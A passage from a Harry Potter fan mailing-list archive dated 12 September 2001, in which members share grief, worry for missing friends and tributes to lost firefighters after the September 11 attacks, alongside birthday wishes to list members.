loosely, as that's not what we all do) for the victims, their 
families and our country, but please, add a special bit about all the 
Firefighters, EMS workers, and Police Officers that lost their 
lives ... so that others may live.

Michelle Barnett, Firefighter...




From bray.262 at osu.edu  Wed Sep 12 09:06:12 2001
From: bray.262 at osu.edu (Rachel Bray)
Date: Wed, 12 Sep 2001 09:06:12 EST5EDT
Subject: 24 hours
Message-ID: <F35790EC9@lincoln.treasurer.ohio-state.edu>

Yesterday all I had in my head was:

"I can't believe the news today
I can't close my eyes and make it go away."
(Sunday Bloody Sunday by U2)

I woke this morning to the radio playing God Bless the USA.

You know, when I was going through my divorce my father 
said to me "The best revenge is to live well."

I think the thing that is going to be the biggest 
retaliation against these cowards is to let them see that 
the US is still standing, heads held high and not crumbling 
behind this horrible act of war.  The President was so 
right last night when he said that nothing was going to put 
out our "light".  We'll find those who are responsible, 
we'll rebuild what was destroyed, and we'll be stronger as 
a Nation because of it.

Oh say does that star spangled banner yet wave
O'er the land of the free and the home of the brave...

Yes.  Very proudly and defiantly.

Rachel Bray
The Ohio State University
Fees, Deposits and Disbursements

"Could have been edited by a crack-addicted ferret with
ADD who just downed a half dozen Pixie Stix."
                       - review of Moulin Rouge



From witchwanda2002 at yahoo.com  Wed Sep 12 12:37:59 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Wed, 12 Sep 2001 05:37:59 -0700 (PDT)
Subject: [HPFGU-OTChatter] Happy Birthday, John!
In-Reply-To: <9nnfpk+t3de@eGroups.com>
Message-ID: <20010912123759.37873.qmail@web13704.mail.yahoo.com>

Same here from Revere! This is a great post to answer
too! Maybe wrong to or too, but this is a happy post
to one of our favorite mods! All of us Malletts raise
a big toast of filled butterbeer to John who brightens
up all of us today! Many happy wishes and thoughts for
today all day!
schnoogles,
Wanda and her Merry Band of Muggles on this happy post

--- Amy Z <aiz24 at hotmail.com> wrote:
> Today is the birthday of John Walton, aka Moderator
> with Rock #47, 
> Crazy Ivan, Singer of the Song of Time, and
> (occasionally) Singer of 
> "My Heart Will Go On"!  I'm sure he isn't feeling
> too festive, so all 
> the more reason to send best wishes along (you can
> send birthday 
> greetings to john"at"walton.to or to this list).
> 
> Have a good one, John.  We all need to remember our
> blessings in a 
> time like this, and your presence on earth is one of
> them.  Here's to 
> you <raises butterbeer>.
> 
> Amy Z
> 
> 


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From tgrzdlphns at yahoo.com  Wed Sep 12 14:05:34 2001
From: tgrzdlphns at yahoo.com (TgrzDlphns)
Date: Wed, 12 Sep 2001 10:05:34 -0400
Subject: [HPFGU-OTChatter] Happy Birthday, John!
In-Reply-To: <9nnfpk+t3de@eGroups.com>
Message-ID: <5.0.2.1.2.20010912100500.0278c8d0@pop.mail.yahoo.com>

At 11:09 AM 9/12/2001 +0000, you wrote:
>Today is the birthday of John Walton, aka Moderator with Rock #47,
>Crazy Ivan, Singer of the Song of Time, and (occasionally) Singer of
>"My Heart Will Go On"!  I'm sure he isn't feeling too festive, so all
>the more reason to send best wishes along (you can send birthday
>greetings to john"at"walton.to or to this list).
>
>Have a good one, John.  We all need to remember our blessings in a
>time like this, and your presence on earth is one of them.  Here's to
>you <raises butterbeer>.
>
>Amy Z


John try to have a good day despite all that is going on around you.

{{{Hugs and B-day cake}}}}
Bree




From blpurdom at yahoo.com  Wed Sep 12 14:24:36 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Wed, 12 Sep 2001 14:24:36 -0000
Subject: Happy Birthday, John!
In-Reply-To: <5.0.2.1.2.20010912100500.0278c8d0@pop.mail.yahoo.com>
Message-ID: <9nnr74+s1qj@eGroups.com>

Happy Birthday, John!  I promise to read the most recent chapter of 
SoT as soon as possible and I hope you don't have a horrendously 
difficult time returning to Scotland.

--Barb
 




From absinthe at mad.scientist.com  Wed Sep 12 15:24:41 2001
From: absinthe at mad.scientist.com (Milz)
Date: Wed, 12 Sep 2001 15:24:41 -0000
Subject: GoF (Re: talking w/kids about terrible events)
In-Reply-To: <DF4AB22E5945D311977000A0C9E050606DEF66@apl.org>
Message-ID: <9nnunp+ruci@eGroups.com>

Yesterday, after I checked in with this list and the main list, I 
kept thinking about GoF, specifically, the first Moody lecture 
("CONSTANT VIGILANCE") and Dumbledore's speech ("Remember Cedric").

These chapters and passages have new meaning for me today.




From witchwanda2002 at yahoo.com  Wed Sep 12 14:37:57 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Wed, 12 Sep 2001 07:37:57 -0700 (PDT)
Subject: [HPFGU-OTChatter] My Brothers and Sisters
In-Reply-To: <9nnmb8+s3hv@eGroups.com>
Message-ID: <20010912143757.92051.qmail@web13702.mail.yahoo.com>

They are the unsung heroes! Michelle, you are part of
a great group of heroes! My boys always yell and wave
at every fire truck on the way back from somewhere and
thank them for a job well done! No mater what the job,
all those wonderful people come together and really do
perform miracles! We are all sad for so many who are
lost and our heart goes out to you and all of their
families! America was hit but we are not down for the
count! We are all holding our heads high and going on
and forward!
hugs for all of you,

Wanda and her sad but very proud American Muggles

--- "M. Barnett" <fyregirl at cfl.rr.com> wrote:
> Yesterday in NYC I lost possibly hundreds of
> Brothers and Sisters.  
> My Brothers and SIsters went rushing in to help the
> injured and 
> rescue the trapped and recover the bodies when the
> first plane hit.  
> Then the second plane hit.  They had no warning,
> just like the 
> civilians that died.  Before the debris stopped
> falling, they were 
> back in the first building and already into the
> second building to do 
> their jobs.  
> 
> In the Fire Service we have 3 main objectives on the
> scene of any 
> call.
> 
> #1 ... Life Safety.
> #2 ... Incident Stabilization.
> #3 ... Property conservation.
> 
> I think they knew there wasn't much they could do to
> save the top end 
> of the buildings, but they sure as hell weren't
> giving up trying to 
> find those trapped above the crash site.  They knew,
> as I did 
> watching it on TV, that the buildings were going to
> collapse.  Yet 
> they stayed.  They stayed and helped so many people.
>  And now, so 
> many of them are dead.
> 
> The Fire Service has lost many of its Brothers and
> Sisters yesterday, 
> and even into today.  I know you are all praying (I
> use that term 
> loosely, as that's not what we all do) for the
> victims, their 
> families and our country, but please, add a special
> bit about all the 
> Firefighters, EMS workers, and Police Officers that
> lost their 
> lives ... so that others may live.
> 
> Michelle Barnett, Firefighter...
> 
> 


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From jenP_97 at yahoo.com  Wed Sep 12 15:36:42 2001
From: jenP_97 at yahoo.com (Jennifer Piersol)
Date: Wed, 12 Sep 2001 15:36:42 -0000
Subject: Sadness, some relief...
Message-ID: <9nnvea+br3f@eGroups.com>

I spent about a half hour writing a post to the group yesterday that 
doesn't seem to have made it.  Brief recap: two friends of mine 
hadn't checked in with me, yet, and one of them was an airman (woman) 
working at the Pentagon.

Well, I had some good news this morning.  My friend from Boston told 
me she was mentally shaken, but physically okay.  Turns out she had 
just flown back from L.A., and was just shocked yesterday.  My friend 
in D.C. finally got in touch with me at 8am, and she was physically 
okay, too.  However, her shock is a little more severe - she had 
colleages working in the affected part of the Pentagon.  I can't 
imagine how much more shaken by yesterday's events she is than I.

I hope that anyone with family or friends that haven't "checked in" 
yet gets as much relief as I did this morning... Though my circle has 
survived (relatively) intact, thousands of others won't, and my 
thoughts and sympathies are with them.

Jen






From jenP_97 at yahoo.com  Wed Sep 12 15:38:59 2001
From: jenP_97 at yahoo.com (Jennifer Piersol)
Date: Wed, 12 Sep 2001 15:38:59 -0000
Subject: Happy Birthday, John!
In-Reply-To: <9nnfpk+t3de@eGroups.com>
Message-ID: <9nnvij+l0sa@eGroups.com>


Happy Birthday, John!  Saw that you wanted to chat (but can't get 
in), so I know you're back in the UK without major problems.  Hope 
your day is a good one, despite the current troubles.

*toast!*

Jen





From dfrankiswork at netscape.net  Wed Sep 12 15:45:13 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Wed, 12 Sep 2001 15:45:13 -0000
Subject: Happy Birthday, John!
In-Reply-To: <9nnfpk+t3de@eGroups.com>
Message-ID: <9nnvu9+pluh@eGroups.com>

--- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:
> Today is the birthday of John Walton

Have a butterbeer on me too, John

Best wishes

David




From jheen at mmcable.com  Wed Sep 12 15:56:12 2001
From: jheen at mmcable.com (jheen at mmcable.com)
Date: Wed, 12 Sep 2001 15:56:12 -0000
Subject: 24 hours
In-Reply-To: <F35790EC9@lincoln.treasurer.ohio-state.edu>
Message-ID: <9no0is+bv1p@eGroups.com>

Rachel said: 

> I woke this morning to the radio playing God Bless the USA.

> You know, when I was going through my divorce my father 
said to me "The best revenge is to live well."

I have to add my thoughts to this. The past day I've been reminded 
over and over again of the OKC bombing, except I'm in the other 
shoes. I hadn't realize how horrible it was from this position, the 
not knowing, the worrying, the dependency on news channels to tell me 
what's going on and hoping they aren't reporting random rumors, the 
helplessness, and everything that comes with not being in the middle 
of it. But the one thing that touched me back six years ago is still 
the same: how everyone has pulled together to help out. How all 
divisions have been forgotten. I had hoped never to have to go 
through this again, but I am so very proud of our country today. They 
can bomb us, destroy our buildings, kill us, but they can't break us 
as long as we don't let them. And that's what they want to do. And I 
personally would rather die than to let them cower me.

Genevieve, humming along with Rachel while waving her American flag




From catherine at cator-manor.demon.co.uk  Wed Sep 12 16:24:52 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Wed, 12 Sep 2001 16:24:52 -0000
Subject: Happy Birthday, John!
In-Reply-To: <9nnvu9+pluh@eGroups.com>
Message-ID: <9no28k+55c9@eGroups.com>

--- In HPFGU-OTChatter at y..., dfrankiswork at n... wrote:
> --- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:
> > Today is the birthday of John Walton
> 
> Have a butterbeer on me too, John
> 
> Best wishes
> 
> David

And me.  Hope you have had some cheer in your day, despite 
yesterday's events, and that it isn't too long before you are joining 
us in the UK.

Catherine




From saitaina at wizzards.net  Wed Sep 12 16:31:11 2001
From: saitaina at wizzards.net (Saitaina)
Date: Wed, 12 Sep 2001 09:31:11 -0700
Subject: [HPFGU-OTChatter] Re: Happy Birthday, John!
References: <9no28k+55c9@eGroups.com>
Message-ID: <05a401c13ba8$560caba0$b64e28d1@oemcomputer>

Happy Birthday John...hope it's a hell of a lot better then the day before.


Saitaina
*****
There were a surprising number of demons that glowed-in-the-dark. There were also a surprising number of demons named Bob. Xander didn't want to know why. -"Tiny Smiles", by Saber ShadowKitten, Buffy fanfic

"I kill mortals, I don't feed them," Death said with a hint of disgust. -"The Dark Cavalier", by Saber ShadowKitten, Buffy Fanfic

On a hellmouth, most of the time the demons killed the humans, demon hunters killed the demons, and a Collector stood around scratching his ass with his scythe. -"The Dark Cavalier", by Saber ShadowKitten, Buffy fanfiction


"Invisible, naked glowing people's opinions don't count," Xander mumbled, rounding the car to the passenger side. "Especially someone who is probably a figment of my concussed imagination." 
-Xander, "Cricket", by Saber ShadowKitten, Buffy Fanfiction
  ----- Original Message ----- 
  From: catherine at cator-manor.demon.co.uk 
  To: HPFGU-OTChatter at yahoogroups.com 
  Sent: Wednesday, September 12, 2001 9:24 AM
  Subject: [HPFGU-OTChatter] Re: Happy Birthday, John!


  --- In HPFGU-OTChatter at y..., dfrankiswork at n... wrote:
  > --- In HPFGU-OTChatter at y..., "Amy Z" <aiz24 at h...> wrote:
  > > Today is the birthday of John Walton
  > 
  > Have a butterbeer on me too, John
  > 
  > Best wishes
  > 
  > David

  And me.  Hope you have had some cheer in your day, despite 
  yesterday's events, and that it isn't too long before you are joining 
  us in the UK.

  Catherine


  To unsubscribe from this group, send an email to:
  HPFGU-OTChatter-unsubscribe at yahoogroups.com



  Your use of Yahoo! Groups is subject to the Yahoo! Terms of Service. 



[Non-text portions of this message have been removed]




From inviziblegirl at hotmail.com  Wed Sep 12 16:36:23 2001
From: inviziblegirl at hotmail.com (Amber ?)
Date: Wed, 12 Sep 2001 12:36:23 -0400
Subject: Thoughts and Feelings
Message-ID: <F109f0VBuJ3qJKOJdTJ0000727d@hotmail.com>


Sadness. This is the foremost feeling. I feel sad for the people in the 
planes who didn't know what was happening, that they were going to be used 
as a weapon. I feel sad for the people who perished in the WTC towers. I 
feel sad for the people who jumped out of the WTC towers. I feel sad for the 
rescue workers, firemen, and policemen who died when the towers collapsed. I 
feel sad for the people who died in the Pentagon. I feel sad for the people 
who have lost their loved ones. I feel sad for the loss of "security" that 
most Americans felt they had before.

Anger. I feel anger at the people who would do this terrorist act. I feel 
anger at those who could hate Americans so very much. I feel anger at the 
airports who didn't catch the hijackers in time, at the intelligence that 
missed this. I feel angry that my way of life is going to be changed 
irrevocably. I'm angry that the news stations were showing pictures of 
people jumping from windows. I feel angry that so many have died. I feel 
angry that our politicians are screaming for war when I feel that isn't 
perhaps the best reaction. I feel angry that our citizens were used as a 
weapon.

Worry. I'm worried about the reactions of those around me. I worry when 
people who say that we need to bomb the hell out of other countries. I worry 
that we're heading towards a horrific war. I worry that the US economy will 
end up becoming irrevocably worse. I worry about people of the Muslim 
religion being persecuted. I worry about people from the Middle Eastern 
countries being persecuted. I worry that this isn't over and that the 
terrorists are simply waiting for us to become complacent again.

Guilt. I feel guilty that all my friends and family are safe while so many 
others have lost their loved ones. I feel guilty that I was perfectly safe 
when these atrocities were carried out. I feel guilty that I'm worrying 
about the economy when others have lost so much. I feel guilty that there's 
little I can do to help. I feel guilty that I'm not screaming for war when 
so many others are. I feel guilty that I'm glad I don't live in NYC or DC. I 
feel guilty that I'm going to work in an office building while others work 
relentlessly to retrieve bodies/survivors from the rubble. I feel guilty 
that I probably don't entirely under the horror and shock that New Yorkers, 
DC residents, and Boston residents.

Just the top four feelings that I have felt in the past day. Again, my 
sympathies and condolences to everyone affected most by the terrorist 
attacks. Words fail me on what else I can say.

~Amber

********
http://www.the-tabula-rasa.com
Updated 9/03/01

"Anyone perfect must be lying, anything easy has its cost,
Anyone plain can be lovely, anyone loved can be lost..."
- Barenaked Ladies, "Falling for the First Time"


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From Alyeskakc at aol.com  Wed Sep 12 16:56:36 2001
From: Alyeskakc at aol.com (Kristin)
Date: Wed, 12 Sep 2001 16:56:36 -0000
Subject: Happy Birthday, John!
In-Reply-To: <9nnfpk+t3de@eGroups.com>
Message-ID: <9no444+f6a2@eGroups.com>

Happy Birthday John. Hope all is well. There's a butterbeer and a 
shot of Firewhiskey with your name on it. 

Kristin




From dfrankiswork at netscape.net  Wed Sep 12 17:37:47 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Wed, 12 Sep 2001 17:37:47 -0000
Subject: Thoughts and Feelings
In-Reply-To: <F109f0VBuJ3qJKOJdTJ0000727d@hotmail.com>
Message-ID: <9no6hb+oi2u@eGroups.com>

Amber:
> 
> Sadness. 
> Anger. 
> Worry. 
> Guilt. 

Yes.

Also, I feel cut off from Americans by this, because life carries on 
here.  All I can say is that you have my fellow-feelings.

love

David




From aiz24 at hotmail.com  Wed Sep 12 18:04:19 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Wed, 12 Sep 2001 18:04:19 -0000
Subject: Happy Birthday to Keith!
Message-ID: <9no833+7akp@eGroups.com>

Another September 12 birthday . . . Keith Fraser, a scantily clad 
woman in a cake is headed your way!  (Uh oh, there go my feminist 
credentials.)

Keith can be reached at keith.fraser"AT"st-annes.ox.ac.uk.

;-)
Amy Z




From catlady at wicca.net  Wed Sep 12 18:29:41 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Wed, 12 Sep 2001 18:29:41 -0000
Subject: Jamieson's Okay, You're Okay
In-Reply-To: <9nl7o5+tht6@eGroups.com>
Message-ID: <9no9il+kccm@eGroups.com>

--- In HPFGU-OTChatter at y..., "Jamieson Wolf Villeneuve" 
<crowswolf at s...> wrote:
> Hey everyone!!!
> 
> Well, it's your friendly neighbourhood Jamieson!!! I just wanted to 
> write to you all and let you know that I'm still Okay, and that 
> I've moved into my apartment and it rocks!!!
 
> I'm dating some nice guys (I'm "Playing the Feild" I guess you 
> could say) so that's nice. It's wonderful to feel attractive again. 

Jamieson, I'm happy for you. It was nice to get some GOOD news on 
Sept 11 2001.




From yael_pou at hotmail.com  Wed Sep 12 20:10:12 2001
From: yael_pou at hotmail.com (yael-pou)
Date: Wed, 12 Sep 2001 22:10:12 +0200
Subject: He was Bill Weasley in every sense of the way
Message-ID: <OE271Ty9CMdZpDsiIWe00006e99@hotmail.com>

1.93m (6'4''), giant red-head, 29 years old, the most kind-hearted man I've ever known. I'm not just saying that because he's probably gone. Shai Levinhar was the man I named every time I was asked point to the most wonderful person I know. Was. Until a hijacked plane crashed right into his office on the 103rd floor of the north twin tower.

It's too early to mourn him. There's still a shred of hope. Yet, at this stage, and after examining the pictures carefully, we'll be happy to get any remains of him. At least, we believe he was killed before he knew what hit him. That is, unless some miracle happened, and no one deserves a miracle more than he does. Always ready to help in any way he can, using his creativity, his wits, his smile and his humour to make you feel better.

He left a wife and a two weeks old baby girl.

Thanks, yael



[Non-text portions of this message have been removed]




From catlady at wicca.net  Wed Sep 12 19:47:12 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Wed, 12 Sep 2001 19:47:12 -0000
Subject: PTSD - Birthday - Firefighters Emergency Workers - This Horror
Message-ID: <9noe40+h25s@eGroups.com>

Judy Harrow (she is a minister with an M.A. in Counselling) posted 
this on another list:

> Hi, all

> Y'know, after yesterday's horrors, all of us are at some risk for 
> Post Traumatic Stress Disorder, even if we were not actually in 
> lower Manhattan. We worried about each other, and about other 
> friends and family members. We watched it on television or listened
> to it on the radio, over and over. We all are feeling invaded, 
> vulnerable. We may all experience some psychological effects as 
> time goes on.

> So, here's a link < http://www.nimh.nih.gov/anxiety/ptsdfacts.cfm >
> to a pamphlet on PTSD from the National Institute of Mental Health.
> It's a bit more technical than I would have liked, but it does 
> contain the basic information and some links.

> Please, let's all be gentle with ourselves and one another, and 
> pray for peace.

I'm just about as far from Lower Manhattan as a person can be and 
still be in the Lower 48, and almost all the most important people I 
worried about have checked in, but even so I am still SICK about this 
horror.

Amy Z wrote:

> Today is the birthday of John Walton, aka Moderator with Rock #47, 
> Crazy Ivan, Singer of the Song of Time, and (occasionally) Singer 
> of "My Heart Will Go On"!  I'm sure he isn't feeling too festive, 
> so all the more reason to send best wishes along 
> Have a good one, John.  We all need to remember our blessings in a
> time like this, and your presence on earth is one of them.  
> to you <raises butterbeer>.

John, Amy's right, you are a blessing to me just from these lists and 
fanfics. (I get the impression that you have been much more of a 
blessing to those disabled kids you were working with.) You were on 
the top ten list of New Yorkers I was worried about. I hope very much 
your birthday isN'T ruined forever for you by calendrically 
associated memories. Schnoogles.

Amy Z wrote:

> Another September 12 birthday . . . Keith Fraser, a scantily clad 
> woman in a cake is headed your way!  (Uh oh, there go my feminist 
> credentials.)

Keith, she's good looking, intelligent, SINGLE, and she LOVES Ginny 
the Vampire Slayer. Schnoogles.

Michelle Barnett wrote:

> The Fire Service has lost many of its Brothers and Sisters 
> yesterday, and even into today.

I've already written on another list that I cannot IMAGINE such an 
immensity of pain as the grief of the MILLIONS of bereaved people. 
Which Of Course includes the families, friends, and colleagues of the 
martyred emergency personnel -- 20 years ago, a NY Post or Daily News 
headline with 'Hero Cop" or "Hero Firefighter" meant that he or she 
had been killed in the line of duty, and it IS true, they ARE Heroes, 
and so are their families.

But I had rather more selfish thoughts about the loss (death! 
killing!) of the Emergency Workers -- even before the second plane 
hit, every firefighter and police officer in the city was headed to 
try to rescue people in Tower One, and more coming in from the rest 
of the region, and I had the cynical thought that that would be a 
good time to be a criminal uptown, and a bad time for an uptown 
apartment building to catch on fire.

But now, so many never coming back to their precincts and stations, 
the next FIVE OR TEN YEARS will be a good time for criminals and a 
bad time for buildings to catch on fire... It will take a long time 
just to recruit so many people who have what it takes for such a 
hard, dangerous, stressful, responsible job...

Starling wrote (on main list):

> When I am called to duty, God, wherever flame may rage,
> Give me strength to save some life, whatever be its age.

> And if according to my fate, I am to lose my life,
> Please Bless with your protecting hand, my children and my wife.

Abbie Starling, I cried while reading your post. Barb's posts about 
how to tell the children (on OT) have literary excellence and Mindy's 
post (on main list) made me see what she was describing, but the only 
post that made me cry besides your post was what Mindy wrote about 
the man who faxed his wife that he was going to die.

David Frankis wrote:

> Also, I feel cut off from Americans by this, because life carries on 
> here.  All I can say is that you have my fellow-feelings.

You aren't any further away from ground zero [flashback! twenty years 
ago: "ground zero" graffiti with mileage and arrows painted on the 
sidewalks  -- the same sidewalks -- WTC seemed to be the ground zero 
they were pointing at. I never figured out if it was ads for a new 
nightclub or ads for a ban on nuclear weapons tests) than I am (Los 
Angeles). I took the bus to work yesterday morning listening to news 
radio on my Walkman and looking out the window at commuters waiting 
at bus stops and children walking to school and kept thinking: "They 
don't know yet what has happened, they still think life is normal." 
Life is SUPPOSED to be normal here, basically only Federal Office 
Buildings, Federal Courthouse, and Airports shut down and sent people 
home.

Milz wrote:

> Yesterday, after I checked in with this list and the main list, I 
> kept thinking about GoF, specifically, the first Moody lecture 
> ("CONSTANT VIGILANCE") and Dumbledore's speech ("Remember Cedric").
> These chapters and passages have new meaning for me today.

Barb wrote:

> We don't know what to tell our kids.  How do you explain the 
> unexplainable?  How to you explain people insane enough to kill 
> themselves and thousands of other people for--what? 

One of the thoughts that came to me: In the Voldemort Years, did the 
wizarding folk feel like *this* for ELEVEN YEARS!!! What could they 
tell their kids?

Herald Talia wrote (on main list):

> I guess Sirius Black (or Peter Pettigrew) had nothing on these
> terrorists. Thirteen people with a single curse? Contrast that with
> 1,000s of people with a single plane. I don't want to be a Muggle 
> anymore! 

That's why Laurin wrote (on Off-Topic): "go to Barb's fic on 
schnoogle and read the beginning of her chapter 26.  You don't have 
to know what's happening, just trust me.  It's Mad Eye Moody talking 
to a class about the aftermath of terrorism." 

Barb's Moody teaches DADA by teaching why people go evil by assigning 
essays on Shakespeare's plays, and one point he reinforces (altho' I 
haven't looked up chapter numbers) is how much more Awful of things 
Muggles do to Each Other.

Madhuri wrote:

> Even though it's the middle of the night where I live, almost 
> everyone I know is up, and shocked at the tragedies. Some of my 
> friends have relatives who might have been affected, 

Yael wrote:

> In the mean time, we're all praying for my cousin (and close 
> friend) who worked in the WTC. (God, I'm using past tense). Our 
> only hope is that he hasn't made contact because he stayed here to
> help the wounded. He is the kind of guy to do that.

Madhuri and Yael reminded me of what a small world it has become. 
Madhuri is on the other side of the world in India and Yael is 
one-third of the way around in Israel and they have RL friends and 
relatives here. I hope that everyone I know is safe INCLUDING their 
hearts -- may all of everyone's loved ones be safe so my friends' 
hearts aren't broken.

But it strikes me as ironic: I bet Yael's cousin worried about 
whether she was safe from terrorist attacks and never worried that it 
would happen to him New York. I'm not sure whether it is relevant 
that India had a MONSTER earthquake last summer, HUGE loss of life 
but NOT caused by human beings.  

Susan Hall wrote on main list:

> it is possible to survive through terrorist actions (I live in 
> Manchester, which was flattened by a bomb in 1996) and even become 
> stronger as a result - it's the only way to beat these bastards.

Heather Edmonds wrote:

> Speaking as A Londoner who is regrettably used to terrorist 
> activity although thank god never on this ghastly scale. Hard 
> though it is stay calm and try to carry on as normal, panic and 
> giving up is the way to let these evil people win.

Herald Talia wrote (on main list):

> I have a slightly skewed perspective on this, since I was a student
> in Israel, where attacks like this are all too common. It's like a 
> mental toothache over there - will this trip to the post office or 
> the park be my last? But Americans aren't braced for it. 

Karen McVicker wrote (on HPff): 

> I grew up Catholic in Belfast....my parents wanted a brighter 
> future for us so, when I was 18, my family emigrated to Canada. 
> I thank my parents every day for that move.  You can't begin to 
> appreciate the freedom and general peace of mind the people in 
> North America have unless you have lived in a troubled place.  
> This is what makes this attack so jarring to me.  After living with
> violence on a daily basis in Northern Ireland, I've really enjoyed 
> living a quiet life in North America for the past 15 years and 
> raising a family without worrying about that sort of stuff -- now, 
> with this blatant terrorist assault, things have changed and I, 
> for one, am not looking forward to what the future has in store. 
> I can only pray.

Genevieve Pratt wrote:

> I remember how terrifying it was to be in Oklahoma back when the 
> federal building was bombed so I can relate.  

I put Genevieve's quote last in that round-up because she reminds 
us that this horror was NOT the end of 'American exceptionalism' 
in the matter of safety. Even the Oklahoma City bloodbath was not the 
end (if I said it was, someone could say "we're still an exception: 
only our fellow-citizens can do this to us, not foreigners"). The end 
of America's safety from terrorism was the World Trade Center bombing 
in 1993, which those terrorists had hoped would do as much damage as 
this, and would have collapsed at least one tower if they had placed 
the explosive where they planned. We've been living on borrowed time 
since then.

------------------------------------------------------------------

          /\ /\                                          ___  ___
           + +     Mews and views                       ( @ \/ @ ) 
         >> = <<         from Rita Prince Winston        \ @  @ / 
                                                          \ () /  
                     ("`-''-/").___..--''"`-._             \  / 
                     `6_ 6  )   `-.  (     ).`-.__.`)       \/ 
                     (_Y_.)'  ._   )  `._ `. ``-..-'
                    _..`--'_..-_/ /--'_.' ,'
                   ((('   (((-(((''  ((((





From catlady at wicca.net  Wed Sep 12 20:25:47 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Wed, 12 Sep 2001 20:25:47 -0000
Subject: He was Bill Weasley in every sense of the way
In-Reply-To: <OE271Ty9CMdZpDsiIWe00006e99@hotmail.com>
Message-ID: <9nogcb+i5t8@eGroups.com>

--- In HPFGU-OTChatter at y..., "yael-pou" <yael_pou at h...> wrote:

<< 1.93m (6'4''), giant red-head, 29 years old, the most kind-hearted 
man I've ever known. I'm not just saying that because he's probably 
gone. Shai Levinhar was the man I named every time I was asked point 
to the most wonderful person I know. Was. Until a hijacked plane 
crashed right into his office on the 103rd floor of the north twin 
tower.

He left a wife and a two weeks old baby girl.>>

Oh, God/ess, Yael, I wrote my previous post before I received this 
one from you, or else I would have mentioned it as one that made me 
cry!




From witchwanda2002 at yahoo.com  Wed Sep 12 20:51:43 2001
From: witchwanda2002 at yahoo.com (Wanda Mallett)
Date: Wed, 12 Sep 2001 13:51:43 -0700 (PDT)
Subject: Happy Birthday to Keith September 11
Message-ID: <20010912205143.92827.qmail@web13707.mail.yahoo.com>

HAPPY BIRTHDAY, KEITH!
Sorry this was late and hope it was a good one with
all the chaos going down! We toast you a butterbeer as
well, along with John's too! 
Hope it was a happy day with your wish coming true!
Happy Birthday Wishes to you from all of us Malletts.

Now go enjoy your butterbeer with John!

Wanda and Her Band of Muggles who are happy to hear
that there are two toasts of butterbeer!

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
http://im.yahoo.com



From michelleapostolides at lineone.net  Wed Sep 12 21:21:40 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Wed, 12 Sep 2001 22:21:40 +0100
Subject: Chat room open. 
Message-ID: <003f01c13bd0$eb051620$e24a063e@tmeltcds>

Just so you know there is a chat room open if you want to talk.

If you have Yahoo messenger, put my name in and follow me in there. If
you have problems, IM me and I'll see what I can do.

Michelle






From hamster8 at hotmail.com  Wed Sep 12 23:43:42 2001
From: hamster8 at hotmail.com (hamster8 at hotmail.com)
Date: Wed, 12 Sep 2001 23:43:42 -0000
Subject: He was Bill Weasley in every sense of the way
In-Reply-To: <OE271Ty9CMdZpDsiIWe00006e99@hotmail.com>
Message-ID: <9norve+slge@eGroups.com>

Yael, you of all people, I am most worried about at this time.  I 
want to thank you for your post on Paradise.  I've been stunned 
beyond belief the last few days.  I don't want to watch the TV 
anymore, and I want to forget the pictures, and I cannot.  This has 
affected us all in ways we simply cannot begin to imagine.  My 
thoughts are with your cousin at this time.  I'm pleased to be able 
to report that my friend's Father, who is also Jewish, has reported 
in safe and well.  He was it work with Reuters, and although he 
cannot get home to his family, he's unharmed.  That's a weight off my 
mind.

I am not a religious person, at all.  But I prayed last night ... and 
I will do tonight as well.

For the benefit of those of you not on HP_Paradise, I found an old 
poem written on a postcard I bought in Belgium today.  It was written 
in 1915, at the height of the First World War.  I was sorting through 
my postcard collection (have over 500 at this point), and the midday 
news was on, and ... guess what, they were looping that same footage, 
endlessly, endlessly.  The poem may need updating, but I think it's 
apt, and I reproduce it here.

In Flanders' fields the poppies blow
Between the crosses, row on row,
that mark our place: and in the sky
The larks, still bravely singing, fly
Scarce heard amid the guns below.
We are the dead.  Short days ago
We lived, felt dawn, saw sunset glow,
Loved and were loved, and now we lie
In Flanders' fields.
Take up our quarrel with the foe;
To you from failing hands we throw
The torch; be yours to hold it high,
If ye break faith with us who die
We shall not sleep, though poppies
Grow in Flanders' fields.

Al


"The world's changed so radically ... we're all running to catch up."
-Alan Grant, Jurassic Park




From john at walton.to  Thu Sep 13 01:38:45 2001
From: john at walton.to (John Walton)
Date: Wed, 12 Sep 2001 21:38:45 -0400
Subject: John off...
In-Reply-To: <9norve+slge@eGroups.com>
Message-ID: <B7C58664.1941%john@walton.to>

Okay, folks. I am going to try to get off to the UK from JFK airport in NY
tomorrow. Leaving home at 4 am for the 9 am flight. BA have said that it is
supposed to be leaving as usual...so wish me luck, and remember those who
will not have the opportunity to fly again.

--John
________________________________

John Walton -- john at walton.to

We shall overcome. We shall overcome.
We shall overcome someday.
Deep in my heart, I do believe
We shall overcome someday.

September 11th, 2001.
________________________________




From captain_debrowe at yahoo.com  Wed Sep 12 20:32:37 2001
From: captain_debrowe at yahoo.com (Danette Schardt-Cordova)
Date: Wed, 12 Sep 2001 13:32:37 -0700 (PDT)
Subject: Status of the Situation here
Message-ID: <20010912203237.9533.qmail@web14406.mail.yahoo.com>

First my apoligies for the mass cross-post for I don't
think I could manage to post this more than once
without breaking down.

1.- A friend of mine that works at the Pentagon still
hasn't checked in.  I hope he is well as he just got
married.

2.- You may recall me posting yesturday that the post
(Fort Campbell) had gone to ThreatCon Delta and put
all soldiers on alert and lockdown.  Last night he
came home...with orders to pack all (and I mean ALL)
of his military gear.  No orders have come down yet
but trust me the military can move fast when it wants
to.

3.- I have a younger brother (who I have been Mom for
since our mother died when I was 17 and he was 9)
stationed at Fort Bliss,TX that we have not heard from
